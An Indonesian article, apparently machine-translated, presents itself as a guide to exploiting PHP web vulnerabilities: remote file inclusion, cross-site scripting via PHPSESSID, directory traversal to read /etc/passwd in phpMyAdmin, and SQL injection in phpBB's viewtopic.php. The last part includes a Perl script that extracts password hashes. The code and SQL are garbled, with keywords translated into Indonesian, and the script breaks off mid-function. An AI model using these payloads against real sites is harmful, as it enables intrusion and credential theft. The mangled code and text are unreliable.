Analisis kerentanan halaman PHP umum dan pemecahan masalah terkait
Penulis：Eve Cole
Waktu Pembaruan：2009-06-02 18:07:08
Dilihat dari keamanan jaringan saat ini, kerentanan halaman WEB yang paling dikhawatirkan dan paling banyak diekspos oleh semua orang adalah ASP. Dalam hal ini, Xiaozhu adalah ahlinya, dan saya tidak punya pendapat juga merupakan masalah kerentanan keamanan yang sangat serius, tetapi tidak banyak artikel di bidang ini. Di sini, mari kita bahas secara singkat kerentanan terkait halaman PHP.
Saya telah membuat ringkasan tentang kerentanan umum PHP saat ini, yang secara kasar dibagi ke dalam kategori berikut: termasuk kerentanan file, kerentanan eksekusi perintah skrip, kerentanan kebocoran file, kerentanan injeksi SQL, dll. Tentu saja, untuk beberapa teknologi umum seperti sebagai Spoofing COOKIE, saya tidak akan membahasnya di sini, ada banyak informasi tentangnya secara online. Jadi, mari kita analisa cara mengeksploitasi kerentanan ini satu per satu!
Pertama, mari kita bahas kerentanan file yang disertakan. Kerentanan ini harus dikatakan unik untuk PHP. Hal ini disebabkan oleh kurangnya pemrosesan data berbahaya yang disediakan secara eksternal, yang memungkinkan penyerang jarak jauh mengeksploitasi kerentanan ini untuk menjalankan perintah sewenang-wenang pada sistem dengan proses WEB. izin.Command. Mari kita lihat contohnya: Misalkan ada kode seperti itu di a.php:
include($include."/xxx.php");
?>
Dalam kode ini, $include umumnya merupakan jalur yang telah disiapkan, namun kita dapat mencapai tujuan serangan dengan membuat jalur sendiri. php, web ini adalah ruang yang kita gunakan untuk menyerang. Tentu saja, b.php adalah kode yang kita gunakan untuk menyerang. Kita dapat menulis sesuatu seperti: passthru("/bin/ls /etc") dalam kode b.php. Dengan cara ini, Anda dapat melakukan beberapa serangan yang disengaja. (Catatan: Server web seharusnya tidak dapat mengeksekusi kode PHP, jika tidak, masalah akan terjadi. Untuk detail yang relevan, Anda dapat melihat << Cara menyerang kerentanan umum dalam program PHP >> ). Dalam hal kerentanan ini, ada banyak masalah, misalnya: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart dan masih banyak lagi.
Selanjutnya, mari kita lihat kerentanan eksekusi perintah skrip. Hal ini disebabkan kurangnya pemfilteran parameter URI yang dikirimkan oleh pengguna. Mengirimkan data yang berisi kode HTML berbahaya dapat memicu serangan skrip lintas situs dan dapat memperoleh informasi sensitif pengguna sasaran. Mari kita beri contoh juga: halaman index.php di PHP Transparan PHP 4.3.1 atau di bawahnya tidak memiliki penyaringan PHPSESSID yang memadai. Kita dapat mencapai tujuan serangan melalui kode berikut:
http://web/index.php?PHPSESSID =">Dalam skrip, kita dapat membangun fungsi untuk memperoleh beberapa informasi sensitif pengguna. Kerentanan dalam hal ini relatif sedikit. Selain PHP Transparan, ada juga: PHP- Nuke, phpBB, PHP Baris, PHPix, Ultimate PHP Board, dll.
Lalu, mari kita lihat kerentanan pengungkapan file. Kerentanan ini disebabkan oleh kurangnya penyaringan parameter yang dikirimkan pengguna. Penyerang jarak jauh dapat menggunakannya untuk melakukan serangan traversal direktori dan mendapatkan beberapa informasi sensitif. Mari kita ambil contoh phpMyAdmin yang baru ditemukan. Di phpMyAdmin, halaman ekspor.php tidak sepenuhnya memfilter parameter 'apa' yang dikirimkan oleh pengguna. Penyerang jarak jauh dapat melewati ini dengan mengirimkan data yang berisi beberapa karakter '../'. Atasi pembatasan WEB ROOT dan lihat informasi file apa pun di sistem dengan izin WEB. Misalnya, memasukkan alamat seperti ini: ekspor.php?apa=../../../../../../etc/passwd%00 dapat mencapai tujuan kebocoran file relatif Masih ada lagi: myPHPNuke, McNews, dll.
Akhirnya, kita kembali ke tempat yang paling menarik. Pikirkan betapa menyenangkannya menggunakan injeksi SQL di halaman asp. Dulu, kita harus menginjeksi secara manual sampai Xiaozhu menemukan "buku rahasia injeksi SQL" (hehe), dan lalu Setelah peluncuran NBSI, Aliansi NB kami benar-benar membuat perbedaan besar. Kami telah membantu menemukan celah di situs web besar seperti CSDN, Monopoly Forum, dan China Channel (Saya tidak akan membahas lebih banyak omong kosong tentang ini, itu sedikit off topic...). Mari kita kembali ke topik. Sebenarnya SQL injection di asp kurang lebih sama dengan SQL injection di php. Hanya sedikit memperhatikan beberapa fungsi yang digunakan. Ubah asc menjadi ASCII, len menjadi LENGTH , dan fungsi lainnya pada dasarnya Tidak ada yang berubah. Faktanya, ketika semua orang melihat injeksi SQL di PHP, apakah mereka semua memikirkan PHP-NUKE dan PHPBB? Ya, seperti kata pepatah, Anda bisa mendapatkan poin besar. Forum seperti Dongwang seharusnya raja kerentanan di dunia ASP. Ini bukan berarti bahwa keamanan forumnya terlalu buruk, tetapi terlalu terkenal. Semakin banyak orang menggunakannya, semakin banyak orang yang menelitinya, dan semakin banyak keamanannya lubang akan ditemukan.Hal yang sama berlaku untuk PHPBB, dan sekarang banyak orang yang menggunakan PHP untuk membangun forum, mereka biasanya memilih PHPBB. Kerentanannya selalu muncul, dari kerentanan paling awal yang ditemukan di phpBB versi 1.4.0. dari phpBB.com hingga groupcp.php terbaru di phpBB versi 2.0.6, serta search.php, profile.php, viewtopic.php, dll. yang ditemukan sebelumnya, mungkin ada selusin ini selalu menyebabkan beberapa orang menggunakannya sebagai produk eksperimental ketika mempelajari kerentanan PHP, yang disebut Setelah banyak berlatih, saya yakin PHPBB akan menjadi lebih baik dan lebih baik lagi di masa depan.
Oke, mari kita analisis penyebab kerentanannya. Ambil halaman viewtopic.php sebagai contoh. Saat memanggil viewtopic.php, "topic_id" diperoleh langsung dari permintaan GET dan diteruskan ke perintah kueri SQL tanpa menjalankannya pemrosesan penyaringan, penyerang dapat mengirimkan string SQL khusus untuk mendapatkan kata sandi MD5. Mendapatkan informasi kata sandi ini dapat digunakan untuk login otomatis atau cracking brute force. (Saya rasa tidak ada orang yang mau melakukan brute force cracking, kecuali ada alasan yang sangat penting). Mari kita lihat kode sumber yang relevan terlebih dahulu:
# jika ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# lain jika ( isset($HTTP_GET_VARS['topik']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topik']);
# }
Dari gambar di atas kita dapat melihat bahwa jika view=newest dan sid yang dikirimkan disetel ke suatu nilai, kode kueri yang dieksekusi akan terlihat seperti berikut (jika Anda belum melihat kode sumber PHPBB, saya sarankan Anda membacanya lalu datang ke sini Lihat, sistem yang terpengaruh adalah: phpBB 2.0.5 dan phpBB 2.0.4).
# $sql = "PILIH p.post_id
# DARI " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# DAN u.user_id = s.session_user_id
# DAN p.topic_id = $topic_id
# DAN p.post_time >= u.user_lastvisit
# ORDER OLEH p.post_time ASC
# BATAS 1";
Rick memberikan kode tes berikut:
gunakan IO::Soket;
$jarak jauh = bergeser ||.'localhost';
$view_topic = pergeseran ||. '/phpBB2/viewtopic.php';
$uid = bergeser ||.2;
$pelabuhan = 80;
$dbtype = 'mysql4'; # mysql4 atau pgsql
print "Mencoba mendapatkan hash kata sandi untuk uid $uid server $remote dbtype: $dbtypen";
$p = "";
untuk($indeks=1; $indeks<=32; $indeks++)
{
$socket = IO::Socket::INET->baru(PeerAddr => $jarak jauh,
PeerPort => $port,
Proto => "tcp",
Ketik => SOCK_STREAM)
atau mati "Tidak dapat terhubung ke $remote:$port : $@n ";
$str = "DAPATKAN $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) "&lihat=terbaru" .
cetak $soket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # ganti ini dengan pgsql atau hapus
cetak $socket "Host: $jarak jauhnn";
sementara ($jawaban = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Cocok dengan lokasi: viewtopic.php?p=#
{
$p .= chr();
}
}
tutup($soket);
}
print "nMD5 Hash untuk uid $uid adalah $pn";
# enkode acak str
subrandom_encode
{
$str = pergeseran;
$ret = "";
untuk($i=0; $i
